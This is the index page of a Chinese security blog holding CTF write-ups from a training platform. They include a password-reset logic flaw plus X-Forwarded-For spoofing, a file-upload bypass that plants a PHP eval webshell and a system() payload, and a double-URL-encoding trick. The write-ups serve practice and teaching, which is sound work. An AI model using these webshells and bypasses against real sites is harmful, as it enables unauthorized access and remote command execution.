BitSec's Blog

天道酬勤,厚德载物


  • 首页

  • 关于

  • 标签

  • 分类

  • 归档

giveyouflag

发表于 2019-11-18 | 分类于 MISC

[src = 攻防世界] give_you_flag

题目描述

菜狗找到了文件中的彩蛋很开心,给菜猫发了个表情包

阅读全文 »

ext3

发表于 2019-11-18 | 分类于 MISC

[src = 攻防世界] ext3

题目描述

今天是菜狗的生日,他收到了一个linux系统光盘

阅读全文 »

ics04

发表于 2019-11-18 | 分类于 WEB

[src = 攻防世界] ics-04

题目描述

工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag。

阅读全文 »

http-header

发表于 2019-11-18 | 分类于 WEB

修改HTTP头的方法

  1. 使用浏览器插件,比如Firefox的Tamper Data。如图:

    http-head

  2. CURL(KALI内置)添加修改头部信息,比如添加文件头:

    1
    root@kali:~# curl -H 'x-Forwarded-For: 123.123.123.123' -H 'referer: https://www.google.com' http://111.198.29.45/

    添加Referrer头可以直接使用-e参数,所以上面的命令可以等同于

    1
    root@kali:~# curl -H 'x-Forwarded-For: 123.123.123.123' -e 'https://www.google.com' http://111.198.29.45/

    关于CURL使用参考:https://catonmat.net/cookbooks/curl

  3. 基于Burp抓包修改:

http-head

bug

发表于 2019-11-18 | 分类于 WEB

[src = 攻防世界] bug

WP

进入弹窗提示“Please Login!”,然后显示登陆框。随便注册一个账号。如图:

bug

然后登录成功。但没有发现大的问题。重点关注首页对Findpwd功能,因为密码修改对逻辑错误经常导致安全问题,因此对修改密码过程进行抓包,如下图:

bug

点击reset后,进入burp抓包界面,如下图:

bug

将其中的username修改为admin,然后forward。发现密码修改成功。如图,基于admin账号登录成功。

bug

点击manage页面,但是页面显示“IP Not allowed!”。这应该是只允许在内网才能访问管理页面,现在是外网,该功能不能使用,因此通过修改X-Forwarded-For头为127.0.0.1,来欺骗系统,进入管理页面。显示

bug

查看源文件,发现页面对注释中包含:

1
<!-- index.php?module=filemanage&do=???-->

访问该网页:

1
http://111.198.29.45:55218/index.php?module=filemanage&do=upload

发现文件上传页面,如图:

bug

提示只能上次image,上传下面的php代码(这是文件内容绕过,所以不能使用”<?php ?>”):

1
<script language="php">system('ls');</script>

抓包后修改后缀为php5(php4也可以,但是直接修改为php不允许)。

bug

弹窗得到flag。

upload1

发表于 2019-11-17 | 分类于 WEB

[src = 攻防世界] upload1

WP

明显的文件上传漏洞。本题是基于js的前段校验。代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
function check(){
upfile = document.getElementById("upfile");
submit = document.getElementById("submit");
name = upfile.value;
ext = name.replace(/^.+\./,'');

if(['jpg','png'].contains(ext)){
submit.disabled = false;
}else{
submit.disabled = true;

alert('请选择一张图片文件上传!');
}

只允许jpg和png格式,但是我们知道前段校验可以非常容易对绕过。我们首先写一个一句话木马:

1
<?php @eval($_POST['bitsec']);?>

然后将文件后缀改为jpg,然后设置代理,通过burp进行抓包,如图

upload1

将其中的后缀改为php,然后forward即可上传成功,如图。

upload1

页面回显:upload success : upload/1573961293.123.php

通过中国菜刀等webshell工具连接成功,如图:

upload1

访问目录,发现flag.php文件,打开就得到flag:

upload1

PHP2

发表于 2019-11-17 | 分类于 WEB

[src = 攻防世界] PHP2

WP

熟悉php的应该知道phps文件可以用来读取php代码,这里就是可以看到此问题导致对源码泄露,直接访问index.phps,得到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
if("admin"===$_GET[id]) {
echo("<p>not allowed!</p>");
exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "admin")
{
echo "<p>Access granted!</p>";
echo "<p>Key: xxxxxxx </p>";
}
?>

Can you anthenticate to this website?

需要满足两个条件:
第一步,要使得”admin”===$_GET[id]不成立

第二步,经过$_GET[id] = urldecode($_GET[id]);,使得$_GET[id] == “admin”成立。

看似矛盾,关键在理解urldecode函数的行为,其解释为解码给出的已编码字符串中的任何 %##。 加号(’+’)被解码成一个空格字符。

因为当将URL传递给$_GET[id]时,会进行第一次url解码,这时要求不能解码得到admin,然后再次交给urldecode进行url解码,这次要得到admin。
所以构造下面对payload:

1
?id=%2561dmin

第一次url解码得到(将%25解码成%):

1
?id=%61dmin

此时满足了第一步的条件。然后第二次交给urldecode函数,这次将%61解码成字符a,变为:

1
?id=admin

满足第二步条件,得到flag。

Training-WWW-Robots

发表于 2019-11-17 | 分类于 WEB

[src = 攻防世界] Training-WWW-Robots

WP

都提示Robots了,直接访问:
<网址>/robots.txt
得到

1
2
3
4
5
User-agent: *
Disallow: /fl0g.php

User-agent: Yandex
Disallow: *

然后访问/fl0g.php得到flag

lottery

发表于 2019-11-16 | 分类于 WEB

[src = 攻防世界] lottery

题目描述

阅读全文 »

isc-06

发表于 2019-11-16 | 分类于 WEB

[src = 攻防世界] isc-06

题目描述

云平台报表中心收集了设备管理基础服务的数据,但是数据被删除了,只有一处留下了入侵者的痕迹。

阅读全文 »

123…5

BitSec

天道酬勤,厚德载物

48 日志
7 分类
42 标签
GitHub E-Mail
Links
  • 一叶飘零
  • Pupil
  • Cytosine
© 2019 BitSec
由 Hexo 强力驱动
|
主题 — NexT.Gemini v5.1.4